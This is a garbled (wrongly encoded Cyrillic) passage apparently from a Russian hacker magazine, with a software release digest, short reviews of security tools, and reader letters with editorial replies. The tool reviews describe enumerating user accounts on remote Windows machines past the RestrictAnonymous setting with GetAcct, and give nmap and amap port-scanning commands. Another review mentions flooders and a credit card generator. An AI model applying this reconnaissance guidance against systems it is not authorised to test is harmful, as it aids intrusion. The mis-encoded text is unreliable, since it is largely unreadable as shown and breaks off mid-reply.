íàïðèìåð, ðåãóëÿðíûå ïëàòåæè).
Âñòðîåííàÿ ñèñòåìà ðåãèñòðîâ ïà-
ìÿòè ïîçâîëÿåò õðàíèòü è èçâëåêàòü
äî 10 çíà÷åíèé. Íàáîð ïðåäñòàâëåí-

íûõ â íàó÷íîì ðåæèìå ôóíêöèé äîñòàòî÷íî øèðîê (åñëè è èõ ìàëî, ìîæíî
ñîçäàâàòü ñâîè), ïðåäóñìîòðåíû è ïîáèòîâûå îïåðàöèè (OR, AND, NOT,
XOR, XNOR), è ðåäàêòèðóåìûå áàçîâûå êîíñòàíòû (e, Ïè, êîýôôèöèåíò
ïðåîáðàçîâàíèÿ êì â ìèëè è ò.ï.). Ðàáîòàòü ìîæíî â ÷åòûðåõ ñèñòåìàõ
ñ÷èñëåíèÿ (ïîìèìî 10-÷íîé, ýòî 2-÷íàÿ, 8-÷íàÿ è 16-÷íàÿ) è òðåõ ôîðìàòàõ
âûâîäà (èíæåíåðíûé, íàó÷íûé, ñ ôèêñèðîâàííîé òî÷êîé), à òàêæå ñ çàäàí-
íûì êîëè÷åñòâîì çíà÷àùèõ öèôð â ïîëó÷àåìîé òî÷íîñòè. Âñòðîåí ïðîñòîé
ãåíåðàòîð ñëó÷àéíûõ ÷èñåë (îò 0,0 äî 1,0). Â ñëó÷àå âîçíèêíîâåíèÿ òàêîé
îñòðîé íåîáõîäèìîñòè, ìîæíî âñòàâèòü ÷èñëåííîå çíà÷åíèå ëþáîãî ââå-
äåííîãî ñèìâîëà èç òàáëèöû ASCII.

OSS RRELEASE DDIGEST: TTHEOPENCD 33.0
TheOpenCD ïðåäñòàâëÿåò ñîáîé îñíîâàííûé íà Ubuntu Linux
LiveCD-äèñòðèáóòèâ ñ íàáîðîì ïîïóëÿðíåéøåãî îòêðûòîãî è
ñâîáîäíîãî ïðîãðàììíîãî îáåñïå÷åíèÿ äëÿ Windows. Öåëü
ïðîåêòà � ïîêàçàòü ïîëüçîâàòåëÿì ïîñëåäíèå äîñòèæåíèÿ
ðàçðàáîò÷èêîâ FOSS (Free and Open Source Software),
äîñòóïíîãî êàê äëÿ Windows, òàê è Linux. Â TheOpenCD 3.0
âîøëè ñëåäóþùèå ïàêåòû: îôèñ OpenOffice 1.1.4, òåêñòîâûé
ïðîöåññîð AbiWord 2.2.8, ãåíåðàòîð PDF-ôàéëîâ PDFCreator
0.8, ãðàôè÷åñêèå ðåäàêòîðû GIMP 2.2.8 è TuxPaint 0.9.14,
ïðîãðàììà äëÿ ñîçäàíèÿ web-ñòðàíèö Nvu 1.0 (ñì. îáçîð),
web-áðàóçåð Firefox 1.0.4, ïî÷òîâûé êëèåíò Thunderbird 1.0.2,
IM-êëèåíò Gaim 1.3.1, àóäèîðåäàêòîð Audacity 1.2.3, àðõèâàòîð
7-zip 4.23, òåêòîâûé ðåäàêòîð Notepad2 1.0.12, ñèìóëÿòîð
Âñåëåííîé Celestia 1.3.2, èãðû Sokoban 1.187 è Battle for
Wesnoth 0.9.3, ñêðèíñåéâåðû Really Slick Screensavers.

ÈÇ ÄÄÐÓÃÈÕ ÐÐÅËÈÇÎÂ:
Novell GroupWise 7 Beta, NetBSD Office 3.4.1, OpenSSL
0.9.8, GNOME 2.10.2 è 2.12 Beta 1, SUSE Linux Enterprise
Server 9 SP2, Special Mandriva Club KDE 3.4, PHP 4.4.0,
Deer Park Alpha 2, Firefox 1.0.6, Thunderbird 1.0.6,
OpenOffice.org 1.1.5rc, FreeBSD 6.0-BETA1, Transcode 1.0.0,
WHAX 3.0, Mandriva Linux 2006 Beta, Mozilla Suite 1.7.10,
Opera 8.02, KDE 3.4.2, Sylpheed 2.0.0, ASPLinux Server IV,
Mozilla 1.7.11.
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X-toolS
STCLite Stego 3.1
Win 98/ME/2k/NT/XP 
FreeWare 
Size: 118kb 
www.stclite.narod.ru 

Ìû ãîâîðèì «õàêåð», à ïîäðàçóìå-
âàåì � áåçîïàñíîñòü. Ìû ãîâîðèì
áåçîïàñíîñòü, à ïîíèìàåì ïîä
ýòèì... çàêðûòóþ ïåðåïèñêó è çà-
øèôðîâàííûå ñïðÿòàííûå äàííûå.
Ïðîãðàììà STCLite îáåñïå÷èâàåò
ïîëíóþ çàùèòó òâîåé ëè÷íîé ýëåêò-
ðîííîé ïåðåïèñêè, ïîçâîëÿÿ øèôðî-
âàòü (àëãîðèòì âûïîëíåí â ñîîòâåò-
ñòâèè ñ ÃÎÑÒ 28147-89) ïèñüìà ïå-
ðåä îòïðàâêîé. Ýòîò ïðîöåññ ïðîèñ-
õîäèò â îïåðàòèâíîé ïàìÿòè, íèêà-

êèå âðåìåííûå ôàéëû íå ñîçäàþòñÿ, òàê ÷òî ìîæåøü íå ïåðåæèâàòü � íèê-
òî è íè ïðè êàêèõ îáñòîÿòåëüñòâàõ íå ñìîæåò îáíàðóæèòü íåíóæíûå óëèêè.
Ñîôòèíà ïîêà ÷òî ðàáîòàåò ñ Outlook, Outlook Express è web-èíòåðôåéñîì
ïî÷òû, ïîñëåäíåå îñîáåííî ïðèìå÷àòåëüíî. Õîòåëîñü áû ïîëó÷èòü è èíòåã-
ðàöèþ ñ ëåòó÷åé ìûøêîé � Bat'îì. Ïåðåä îòñûëêîé ïèñüìî øèôðóåòñÿ è
ñæèìàåòñÿ àðõèâàòîðîì, ÷òî ïîçâîëÿåò óìåíüøèòü ðàçìåð, òåì ñàìûì ñýêî-
íîìèâ òðàôèê. Â áåñïëàòíîé âåðñèè êëþ÷ äëÿ ðàáîòû ôîðìèðóåòñÿ èç çà-
äàííîãî òîáîé ïàðîëÿ, êîãäà â êîììåð÷åñêîé èñïîëüçóþòñÿ êëþ÷è íà ñïåöè-
àëüíûõ íîñèòåëÿõ. STCLite ïîçâîëÿåò ñîçäàâàòü è ïåðåñûëàòü ñêðûòûå âëî-
æåíèÿ â ïèñüìå HTML ôîðìàòà. Â îáùåì, ïðîãðàììà äîñòàòî÷íî ïåðñïåê-
òèâíàÿ, òàê ÷òî áóäåì þçàòü, øèôðîâàòü, ïåðåñûëàòü è æäàòü íîâûõ âåðñèé.  

8Signs Firewall 
Win 98/ME/2k/NT/XP 
ShareWare 
Size: 3.1mb 
www.consealfirewall.com 

Òàê, ïèñüìà øèôðîâàòü íàó÷èëèñü, ïðî÷èòàâ îïèñàíèå ïðîãðàììû
STCLite Stego 3.1, à òåïåðü è çà âñåé ñåòåâîé àêòèâíîñòüþ áóäåì ñëå-
äèòü, ÷òîáû îáåçîïàñèòü ñåáÿ îò ëàï ñåòåâûõ õóëèãàíîâ. 8Signs Firewall



2.26 � ýòî íå ÷òî èíîå, êàê ôàéðâîë, êîòîðûé çàùèòèò òâîé êîìïüþòåð
èëè äàæå öåëóþ ëîêàëüíóþ ñåòêó îò äåÿòåëüíîñòè òàêèõ çëîâðåäíûõ
ïðîãðàìì, êàê òðîÿíû, âèðóñû è ò.ä. ×åì äàííàÿ ñîôòèíà ìíå ñðàçó ïîí-
ðàâèëàñü, âûäåëèâøèñü  èç òîëïû ñîïåðíèêîâ-àíàëîãîâ, òàê ýòî øèðî-
òîé âîçìîæíûõ íàñòðîåê. Çäåñü ìîæíî âðó÷íóþ îãðàíè÷èòü ìàðøðóò
÷óòü ëè íå êàæäîãî ïàêåòà. Òû â ïðàâå êîíòðîëèðîâàòü âõîäíûå è âûõîä-
íûå ïàêåòû, ñîçäàâàòü è íàñòðàèâàòü ïðàâèëà äëÿ ñåòåâûõ ðåñóðñîâ, îò-
äåëüíûõ ïðèëîæåíèé è ñåðâèñîâ. Âåäåòñÿ ïîäðîáíåéøèé ëîã � òû áó-
äåøü çíàòü âñå î ñâîåé ñèñòåìå. Êñòàòè ãîâîðÿ, ó÷èòûâàÿ ñëîæíîñòü è
òîíêîñòü íàñòðîéêè ôàéðâîëà, áóäåò âäâîéíå ïðèÿòíî óçíàòü î ôóíêöèè
ïåðåíîñà êîíôèãóðàöèîííûõ ôàéëîâ íà äðóãîé êîìïüþòåð. Â îáùåì, ÿ
ñíîâà ïåðåøåë íà ïðîäóêöèþ ConsealFirewall (ïîìíèøü, íåñêîëüêî ëåò
íàçàä áûë òàêîé ïîïóëÿðíåéøèé ôàéðâîë � Conseal PC?). Íà ñàéòå
ðàçðàáîò÷èêà, êñòàòè, òàêæå èìååòñÿ óòèëèòà äëÿ óäàëåííîãî àäìèíèñò-
ðèðîâàíèÿ, ñîâåòóþ çàîäíî ñêà÷àòü è åå.  

GetAcct 1.3.1 
Win 95/98/ME/2k/NT/XP 
FreeWare 
Size: 436 Êá 
www.securityfriday.com/tools/GetAcct.html 

Áîëüøèíñòâî âåðñèé Windows ïî óìîë÷àíèþ ïîçâîëÿþò àíîíèìíîìó þçåðó
(ãîñòþ) óäàëåííî ïðîñìàòðèâàòü èíôîðìàöèþ î ïîëüçîâàòåëÿõ, ïðîïèñàí-
íûõ â ñèñòåìå. Åñòåñòâåííî, ýòî îãðîìíàÿ áðåøü â áåçîïàñíîñòè, òàê êàê
ïîòåíöèàëüíûé õàêåð ïîëó÷àåò îòëè÷íóþ âîçìîæíîñòü ñîáðàòü äëÿ ñåáÿ
íåîáõîäèìûå ñâåäåíèÿ. Òå æå èìåíà ïîëüçîâàòåëåé ïðèãîäÿòñÿ âî âðåìÿ
áðóòôîðñà, óñòàíîâëåííûå â ñèñòåìå ñåðâèñîâ. Áîéöû èç Microsoft ýòó ñè-
òóàöèþ ïðåäâèäåëè, ïîýòîìó â ðåãèñòðå Windows ñóùåñòâóåò ñïåöèàëüíûé
êëþ÷ RestrictAnonymous. Åñëè óñòàíîâèòü åãî çíà÷åíèå â åäèíèöó, òî àíî-
íèì, ïî èäåè, ïîëíîñòüþ ëèøàåòñÿ âîçìîæíîñòè ñ÷èòûâàòü äàííûå î ïîëü-
çîâàòåëÿõ â ñèñòåìå. Íà ïðàêòèêå ýòà çàùèòà îêàçàëàñü ïóñòÿøíîé, ïîÿâè-
ëèñü êîíñîëüíûå óòèëèòû user2sid and sid2user (evgenii.rudnyi.ru/soft/sid/).
Èñïîëüçóÿ SID (Security Identifyer � óíèêàëüíûé èäåíòèôèêàòîð, îäíîçíà÷-
íî îïðåäåëÿþùèé êîíêðåòíîãî ïîëüçîâàòåëÿ èëè ãðóïïó), îíè ïîçâîëÿëè
ïðîñìàòðèâàòü ñïèñîê þçåðîâ íà óäàëåííîé ìàøèíå, äàæå åñëè ïàðàìåòð
RestrictAnonymous áûë óñòàíîâëåí â "1", à ñ ïîìîùüþ ñèñòåìíîé ôóíêöèè
NetUserGetInfo ïîëó÷àëè ïîëíóþ èíôîðìàöèþ î íèõ. Ïðîãðàììà GetAcct �
ýòî óñïåøíîå ðàçâèòèå ýòèõ óòèëèò, âîïëîùàþùàÿ â ñåáå èõ âîçìîæíîñòè.
Ïîëüçîâàòüñÿ åé êàê íåëüçÿ ïðîñòî. Íóæíî ëèøü óêàçàòü IP-àäðåñ èëè
NetBIOS-èìÿ óäàëåííîãî êîìïà è íàæàòü íà êíîïêó Get Account, óæå ÷åðåç
íåñêîëüêî ñåêóíä ñïèñîê ïîëüçîâàòåëåé ñî âñåé ðàçäîáûòîé èíôîé ïîÿâèò-
ñÿ ó òåáÿ íà ýêðàíå. Åäèíñòâåííûé ìîìåíò, êîòîðûé ìîæåò âûçâàòü çàòðóä-
íåíèÿ, � ïàðàìåòð End of RID. RID � ýòî åùå îäèí èäåíòèôèêàòîð ïîëüçî-
âàòåëÿ. Àäìèíèñòðàòîð, íàïðèìåð, îáû÷íî èìååò RID ðàâíûé 500. Îáîçíà-
÷èâ â ïîëå End of RID ÷èñëî 1050, òû ïîëó÷èøü èíôîðìàöèþ î ïîëüçîâàòå-
ëÿõ, èìåþùèõ RID ðàâíûé èëè ìåíüøèé ýòîãî çíà÷åíèÿ.  

THC-amap 5.1 
Linux, BSD 
GPL ñ îãðàíè÷åíèÿìè 
Size: 255 Êá 
thc.org/thc-amap/ 

Åñëè õî÷åøü âûÿñíèòü, êàêèå ñåðâèñû óñòàíîâëåíû íà óäàëåííîé ìàøè-
íå, � ïðîñêàíèðóé åå ïîðòû. Â áîëüøèíñòâå ñëó÷àåâ ìîæíî îáîéòèñü îä-
íèì ëèøü ñêàíåðîì áåçîïàñíîñòè, îäíàêî çäåñü, êàê è âåçäå, íå îáîø-

ëîñü áåç èñêëþ÷åíèé.
Êàæäûé çíàåò, ÷òî ëþ-
áîé ñòàíäàðòíûé ñåð-
âèñ îáû÷íî ðàáîòàåò
íà îïðåäåëåííîì ïîð-
òå: íàïðèìåð, FTP �
íà 21, SSH � íà 22 è
ò.ä. Òåì íå ìåíåå, àä-
ìèíèñòðàòîðû ÷àñòåíü-
êî ïðèáåãàåò ê îäíîé
î÷åíü ïðîñòîé, íî ïî-
ëåçíîé óëîâêå. Äëÿ òî-
ãî, ÷òîáû ñêðûòü ïî-
òåíöèàëüíî óÿçâèìûå

ñåðâèñû, îíè óñòàíàâëèâàþò èõ íà íåñòàíäàðòíûå ïîðòû. Â ýòîì ñëó÷àå
äàæå ëåãåíäàðíûé ñêàíåð áåçîïàñíîñòè nmap îñòàåòñÿ íå ó äåë, òàê êàê
íå ìîæåò îïðåäåëèòü FTP-ñåðâåð, ðàáîòàþùèé íà 31337 ïîðòó, äàæå åñ-
ëè îí òàì äåéñòâèòåëüíî åñòü. Íî íå áåäà! Ñ ýòîé çàäà÷åé íà óðà ñïðàâ-
ëÿåòñÿ ñêàíåð amap îò èçâåñòíîé õàêåðñêîé ãðóïïû THG. Ýòîò ñêàíåð ñ
áîëüøîé âåðîÿòíîñòüþ îïðåäåëèò äàæå òå ñåðâèñû, êîòîðûå ðàáîòàþò
íå íà ñâîèõ ñòàíäàðòíûõ ïîðòàõ. Óñïåõ äîñòèãàåòñÿ çà ñ÷åò òîãî, ÷òî
ïðîãðàììà ïîñûëàåò ñåðâèñó ñïåöèàëüíûå èäåíòèôèêàöèîííûå ïàêåòû,
ïîñëå ÷åãî àíàëèçèðóåò îòâåò è èùåò ñîîòâåòñòâèå â ñïåöèàëüíî ñîñòàâ-
ëåííîé áàçå äàííûõ. Äî íåïðèëè÷èÿ ïðîñòîé ìåõàíèçì ïîçâîëÿåò îïðå-
äåëèòü SSL-ñåðâåð, çàïóùåííûé íà 2162 ïîðòó, èëè âåá-ñåðâåð, óñòàíîâ-
ëåííûé íà äåâÿíîñòîì. Ñêàíåð amap ëåãêî ñêàíèðóåò êàê îäèí êîíêðåò-
íûé ïîðò, òàê è çàäàííûé äèàïàçîí (#amap 192.168.0.2 20-1000). Îäíàêî
äëÿ ëó÷øåé ïðîèçâîäèòåëüíîñòè ðåêîìåíäóþ èñïîëüçîâàòü åãî ñîâìåñò-
íî ñ nmap'îì. Àëãîðèòì ñëåäóþùèé: ñíà÷àëà nmap, èñïîëüçóÿ âñå ñâîè
âîçìîæíîñòè, îïðåäåëÿåò íà óäàëåííîé ìàøèíå îòêðûòûå ïîðòû è çàïè-
ñûâàåò ðåçóëüòàò â ôàéë, äàëåå çà ðàáîòó áåðåòñÿ amap, êîòîðîìó îñòà-
åòñÿ ïðîàíàëèçèðîâàòü îòêðûòûå ïîðòû è âûâåñòè ðåçóëüòàò. Íà ïðàêòè-
êå ýòî ìîæíî ñäåëàòü ïðèìåðíî òàê: #nmap -sS -oM results.nmap -p 1-
65535 IP-àäðåñ #amap -i results.nmap -o results.amap -m  

Net Tools 3.1 
Win 98/ME/2k/NT/XP 
FreeWare 
Size: 13.1mb
users.pandora.be 

Çíàåøü, ÷åìó ðàâíî îòíîøåíèå äëèíû îêðóæíîñòè ê åå äèàìåòðó? ß âîò
íåâîëüíî ïðîèçíåñ íåõîðîøåå ñëîâî, êîòîðîå íà÷èíàåòñÿ íà ýòî ñàìîå,
êîãäà óâèäåë îïèñàíèå ïðîãðàììû Net Tools â èíåòå. Îäèí ÷óâàê êàê-òî
ðàç ðåøèë ñîçäàòü õàê-òóëçó, âêëþ÷àþùóþ â ñåáÿ âñå âîçìîæíûå ñåòå-
âûå ïðîãðàììû è ïðè÷èíäàëû � è åìó ýòî óäàëîñü! ×èñëî ïðîãðàìì,
èíòåãðèðóåìûõ â Net Tools, ïðåâûøàåò âîñåìü äåñÿòêîâ. Íåêîòîðûå èç
íèõ, êîíå÷íî, óæå óñòàðåëè (ñìåøíîé ãåíåðàòîð êðåäèòîê, íàïðèìåð), íî
ñêàíåðû (ñêàíèðîâàíèå äèàïàçîíîâ íà íàëè÷èå çàäàííûõ ïîðòîâ îäè-
íî÷íîãî àéïèøíèêà ïî ïîëíîé, òî åñòü ñ 1 ïî 65535 ïîðò), ðåçîëâåðû,
ïèíãåðû, ôëóäåðû, òðîÿí-õàíòåðû è ïðî÷èå òóëçû � ðàáîòàþò íà óðà!
Òàêæå òû ñìîæåøü ñîçäàòü ïðèìèòèâíûé ëîêàëüíûé HTTP/IRC ñåðâåð,
áàóíñåð. Âñåãäà ïîä ðóêîé áóäåò ñðåäñòâî äëÿ ñðàâíåíèÿ ôàéëîâ, äå-
òàëüíîãî èçó÷åíèÿ exe'øíèêîâ, ñíèôàíèÿ ïàêåòîâ. Â îáùåì, äëÿ äåòàëü-
íîãî ðàññìîòðåíèÿ äàííîãî õàêåðñêîãî èíñòðóìåíòàðèÿ ïîòðåáóåòñÿ öå-
ëàÿ ñòàòüÿ. Ðàçìåð ñîôòèíû íå óòåøèòåëåí äëÿ äèàëàïùèêîâ � 13 ìåò-
ðîâ, íî òû æå íàéäåøü åå íà íàøåì äèñêå, òàê ÷òî ýòî íå áåäà :).
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From: service003 [service003@narod.ru]
Subj: Ïðèâåò ïåðöû
Çäðàñòâóéòå æóðíàë õàêåð âîò ó ìåíÿ òàêàÿ ïðîáëåìà ÿ õî÷ó ñîç-
äàòü ñâîé âåá ñàéò à ïðîãó íàéòè â èíåòå íå ìîãó ïîìîãèòå ïîæà-
ëéñòà ãäå ìîæíî ñêà÷àòü ïðîãó áóñïëàòíî è ïðîñòåíüêóþ ÷òîá äà-
æå ëàìî ìîã îáùàòüñÿ ñ íåé èëè íàïèøèòå íàçâàíèå òàêîå êàê
îíà íàçûâàåòñüÿ ïîæàëóñòà æäó î÷åíü ïðîøó âåòèü åñëè âàì íå
ñëîæíî ýòî ñäåëàòü

Re: Çäðàâñòâóé, ìíîãîóâàæàåìûé. Íà÷íó ñ ãëàâíîãî: äà, ó òåáÿ äåéñòâè-
òåëüíî åñòü ïðîáëåìà. Äàâàé ïðåäñòàâèì, ÷òî òû âñå æå ñîçäàë ñâîé
ñàéò, è âñå æåëàþùèå ñìîãóò íà íåãî âçãëÿíóòü. È ÷òî îíè òàì óâèäÿò?
Òå æå ñàìûå áåñòîëêîâûå êàðàêóëè, êîòîðûå òû íå ïîñòåñíÿëñÿ çàñëàòü
ìíå äëÿ ïðî÷òåíèÿ? Ñäàåòñÿ ìíå, ÷òî äëÿ òåáÿ åñòü òîëüêî îäèí âàðèàíò
âûõîäà èç êðèçèñà: îñâîåíèå äåôîëòíîãî âèíäîâîãî Notepad íå òîëüêî
äëÿ html-âåðñòêè, íî è äëÿ èçó÷åíèÿ  îñíîâ ãðàììàòèêè, îðôîãðàôèè è
ñèíòàêñèñà ðîäíîãî ðóññêîãî ÿçûêà. Ãîâîðÿò, îí âåëèê è ìîãó÷. Äåðçàé.
Ïðîøåé ñâîé ìîçã ãðàìîòíî :). 

From: Oleg B. [boleg2@yandex.ru]
Subj: Ïîæåëàíèÿ
Çäðàâñòâóéòå, óâàæàåìûå õÀêåðû, åñëè âû åùå ìîæåòå òàê íàçû-
âàòüñÿ. Íå áóäó îñêàðáëÿòü, îáçûâàòü è ò.ä. öåëü ìîåãî ïèñüìà �
èíàÿ. Ìíå 15 ëåò è ÿ ÷èòàþ âàø æóðíàë âîò óæå ãîä. Âåðíåå ñêàçàòü,
÷èòàë è ðàíüøå, ïîíåìíîãó:], íî ðåãóëÿðíî �òîëüêî ãîä. Çíà÷èò, òàê.
Ïîìíþ, êàêèå ðàíüøå áûëè íîìåðà... Îíè ñîäåðæàëè ñòàòüè íå òîëü-
êî íà òåìó êîìïüþòåðíîé áåçîïàñíîñòè, íî è ñòàòü îáùåãî ðàçâëå-
êàòåëüíîãî õàðàêòåðà. Ïî÷åìó áû, íàïðèìåð, íå óïîìèíóòü íà ñòðà-
íèöàõ ñâîåãî èçäàíèÿ î òàêîì íåìàëîâàæíîì àñïåêòå õàêåðñêîé äå-

ÿòåëüíîñòè, êàê ñîöèàëüíàÿ èíæåíåðèÿ? Âåäü äåëî èñòèííîãî õàêå-
ðà íå ñâîäèòñÿ ëèøü ê «ïðÿìîëèíåéíûì» äåéñòâèÿì ïî âçëîìó ñèñ-
òåìû? Åñòü è àëüòåðíàòèâíûå ìåòîäû äîñòèæåíèÿ ïîñòàâëåííûõ öå-
ëåé. Äà è ëþäÿì, íå îñâåäîìëåííûì â îáëàñòè êîìïüòåðíîé áåçî-
ïàñíîñòè, áóäåò èíòåðåñíî ÷èòàòü äàííûé ìàòåðèàë. Âåäü îí èìååò
ðåàëüíîå ïðèìåíåíèå â æèçíè. 
Íàïðèìåð, â ïîñëåäíåì íîìåðå [07.05] èìååòñÿ ñòàòüÿ ñ îáçîðîì èíòåð-
íåò-êàôå Ìîñêâû. Âîò ýòîò ìàòåðèàë èíòåðåñíî ÷èòàòü. ß äóìàþ, ÷òî
ìíîãèì èíòåðåñíî. Íåò, ÿ íå ïðèçûâàþ âàñ ïåðåäåëàòü æóðíàë â ïîë-
íîñòüþ ðàçâëåêàòåëüíîå èçäàíèå. È íå íàäî ìåíÿ îòïðàâëÿòü â ðåäàê-
öèþ «Õóëèãàíà». Ýòî ñîâñåì íåñåðüåçíî. Ïðîñòî âàø æóðíàë ïîñòåïåí-
íî ïðåâðàùàåòñÿ â internet-security èçäàíèå. È êðóã ÷èòàòåëåé ñóæàåòñÿ,
ðàçî÷àðîâàâøèñü â àâòîðàõ... ß ïðèçûâàþ ðàçíîîáðàçèòü êîíòåíò èçäà-
íèÿ âñåâîçìîæíûìè ìàòåðèàëàìè, ãðàíè÷èùàìè ñ ðåàëüíîé æèçíüþ,
íî, â òî æå âðåìÿ, èìåþùèìè îòíîøåíèå ê òåìå õàêåðñòâà. Äà, êñòàòè,
ó âàøåé ðåäàêöèè âåäü èìååòñÿ óéìà ïàðàëëåëüíûõ èçäàíèé? «Æåëå-
çî», «Õóëèãàí» è ò.ä. Âûäåëèòå òîãäà, åñëè íå òåðïèòñÿ ïèñàòü ïðî áåçî-
ïàñíîñòü, åùå îäíî security-èçäàíèå. Îíî, êñòàòè, áóäåò åäèíñòâåííûì
íà ðûíêå è áóäåò èìåòü ïîñòîÿííûé êðóã ÷èòàòåëåé â ëèöå àäìèíèñòðà-
òîðîâ ê.ñèñòåì è ò.ä.
Ïðèìåðîì èäåàëüíûõ íîìåðîâ ìîãóò ñëóæèòü æóðíàëû «Õàêåð», èçäàí-
íûå â 2000 ãîäó è ïîçæå. Íî íå ýòîò ãîä. Õî÷åòñÿ ðàçíîîáðàçíûõ ìàòå-
ðèàëîâ, à íå îïìñàíèÿ âñåâîçìîæíûõ âçëîìîâ è òîëüêî. Åñëè ÿ íå ïðàâ,
ïðîøó âîçðàçèòü. Âîçðàçèòü, êîíêðåòíî óêàçàâàÿ íà ìîè óïóùåíèÿ. Íå
ïåðåâîäÿ ðàçãîâîð â øóòî÷íóþ ôîðìó. Îáÿçàòåëüíî îòâåòüòå, èáî â ïðî-
òèâíîì ñëó÷àå ÿ ðàçî÷àðóþñü â åùå îäíîì èçäàíèè. ß äóìàþ, ÷òî âûðà-
æó æåëàíèå òûñÿ÷...
Ñ Óâàæåíèåì ê ðåäàêöèè, Îëåã Âàñèëüåâè÷ aka Boleg2 aka Spector, ïîñ-
òîÿííûé ÷èòàòåëü Õ.

E-
Ïðèåì è îáðàáîòêó âõîäÿùåé

êîððåñïîíäåíöèè ïðîâîäèò ñòàðøèé
ÏÎ×ÒÌÅÉÑÒÅÐ

Centner (centner@real.xakep.ru)
www.livejournal.com/~onepamop
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Re:Ïðèâåòñòâóþ, Îëåã. Ñïàñèáî çà áîëüøîå è òîëêîâîå ïèñüìî. Êîì-
ìåíòèðîâàòü íè÷åãî íå áóäó, íå÷åãî òóò êîììåíòèðîâàòü. Ñ òåõ ñàìûõ
ïîð, êàê âûøåë â ñâåò ïåðâûé íîìåð ][, æóðíàë ïîñòîÿííî ìåíÿëñÿ ñ ó÷å-
òîì âàøèõ ïðîñüá è ïîæåëàíèé. ß çíàþ, î ÷åì ãîâîðþ, òàê áûëî, óâåðåí
�òàê è áóäåò âïðåäü. À ][-ïîëèòèêó îïðåäåëÿþò ÷èòàòåëè, íå ñîìíåâàé-
ñÿ, òâîå ìíåíèå óæå ó÷òåíî. Æäè èçìåíåíèé ê ëó÷øåìó :).

From: AZakusilov@rambler.ru
Subj: î æèçíè...
î÷åíü ïîíðàâèëàñü íàêëåå÷êà ñî ñòàòüÿìè ÓÊ... æàëü òîêà ÷òî íà Óêðà-
èíå, (à ÿ òàì æèâó =)) íå àêòóàëüíà îíà =( ó íàñ àíàëîãè÷íûå ñòàòüè ïîä
äðóãèìè íîìåðàìè... áûë áû ðàä åñëè á âû ñäåëàëè ïîäàðîê äëÿ óêðàè-
íñêèõ Õàêåðîâ �òàêîé æå ñòèêåð òîêà óêðàèíèçèðîâàííûé =)))) è åùå...
çàìåòèë ïàðó áàãîâ, â ñòàòüå ïðî âçëîì ñàéòà â çîíå .gov.ua äîïóùåíà
î÷åïÿòêà âìåñòî .ua íàïèñàíî .uk
à ñòàòüÿ ïðî óãîí áîòíýòà íåîæèäàííî îáðûâàåòüñÿ =(
ç.û. íå õîòèòå ñàéòèê ïîÏèÀðèòü zakus.nm.ru? ñäåëàéòå ïîäàðîê áîëüíî-
ìó ÷åëîâåêó (áîëåþ ìàíèåé âåëè÷èÿ=))) ìîæåò íàéäåòå íà íåì ÷òî òî èí-
òåðåñíîå, îïóáëèêóåòå... ýõõ...
ç.û.û à åñëè ó âàñ êî ìíå êàêèå òî ïðèòåíçèè ïî ïîâîäó ïèñüìà �òî «âû-
ïåéòå ÉÀÄÓ2 =))))

Re:Ìîå ïî÷òåíèå, ìîëîäîé ÷åëîâåê. Ìû ïðèÿòíî óäèâèëèñü, óçíàâ, ÷òî
íà Óêðàèíå òîæå åñòü ÓÊ. Ýòî íè÷åãî, ÷òî ñòàòüè ó âàñ òàì äðóãèå, çàòî
èõ íà âñåõ õâàòàåò :). Óêàçàííóþ îïå÷àòêó âïðåäü èñêîðåíèì, ñòàòüþ
ïðîäîëæèì. Ñàéòèê ïîïèàðèì, à åñëè íàéäåì íà íåì ÷òî-íèáóäü «èíòå-
ðåñíåíüêîå», òî ïîñòàðàåìñÿ ñðàçó îïðåäåëèòü, ïîä êàêóþ ñòàòüþ â ÓÊ
ýòî «èíòåðåñíåíüêîå» ìîæåò ïîïàñòü. Ïðåòåíçèé ó íàñ ê òåáå íåò, åñòü
ðåêîìåíäàöèÿ: âûïåé ÉÎÄÓ!

ÑÀÌÎÅ ÍÅÆÍÎÅ ÏÈÑÜÌÎ ÍÎÌÅÐÀ
From: rock-and-brave [rock-and-brave@yandex.ru]
Subj: Âñòóïèòåñü çà íàñ!
Çäðàâñòâóéòå, äîðîãèå ðåäàêòîðû æóðíàëà «][àêåð»! ß Âàø æóðíàë ñòàëà
÷èòàòü îòíîñèòåëüíî íåäàâíî, íî çà ýòî êîðîòêîå âðåìÿ ìíîãîìó óæå íàó-
÷èëàñü. ×åñòíî ãîâîðÿ, âñå ìîè äðóçüÿ, óçíàâàÿ, ÷òî ÿ ÷èòàþ Âàø æóðíàë,
óõìûëÿþòñÿ, íàèâíî ïîëàãàÿ, ÷òî íè îäíà äåâóøêà íåñïîñîáíà ïîíÿòü, ÷òî
æå ïèøóò â æóðíàëå î êîìïüþòåðàõ. Íó âåäü ïðàâäà, ïîäàâëÿþùåå êîëè÷å-
ñòâî ïàðíåé ïîëàãàþò, ÷òî ó âñåõ äåâóøåê êóðèíûå ìîçãè. Íî âåäü ýòî íå
òàê!!!!!!!!!! Âñòóïèòåñü çà íàñ, äîðîãèå ðåäàêòîðû! Íàïèøèòå, ÷òî ïîïàäàþò-
ñÿ óìíûå äåâóøêè è æåíùèíû, êîòîðûå ðàçáèðàþòñÿ â êîìïàõ è íå êðàñíå-
þò îò ñëîâà abort!!!!!! Òåïåðü î Âàñ. Âåðíèòå ôîòêè àâòîðîâ â æóðíàë. Ìû
äîëæíû çíàòü Âàñ â ëèöî. Âî-ïåðâûõ, ÷òîáû ïðè ñëó÷àéíîé âñòðå÷å êèäàòü-
ñÿ Âàì íà øåþ ñ êðèêîì «À ÿ âàñ çíàþ!», à âî-âòîðûõ, âñåãäà èíòåðåñíî
ïîñìîòðåòü íà ìîðäó ëèöà ÷åëîâåêà, íàïèñàâøåãî ñòàòüþ. Äåâóøêàì îñî-
áåííî èíòåðåñíî. Âîò. Íà ýòîì ìîè ñêðîìíûå òðåáîâàíèÿ çàêàí÷èâàþòñÿ.
Íó, êðîìå òîãî, ÷òî íå òðåáóþ, à ïðîñòî èñêðåííå æåëàþ Âàøåìó æóðíàëó
ðàñòè, òîëñòåòü, öâåñòè è ïàõíóòü. Âîò. Íàøå âàì ñ êèñòî÷êîé. Âàøà N.
P.S. Ïåðåäàâàéòå ïðèâåò Õèíòó. ß âèäåëà åãî ôîòêó â ñòàðûõ íîìåðàõ, ó íåãî
ãëàçà ñèìïàòè÷íûå. Çà òàêèå ãëàçà ìîæíî ïðîñòèòü ëþáóþ ëàæó ñ äèñêàìè...

Re: Ïðèâåò, äîðîãàÿ íàøà N. Ðàçóìååòñÿ, òû íàïèñàëà âñå ïðàâèëüíî è
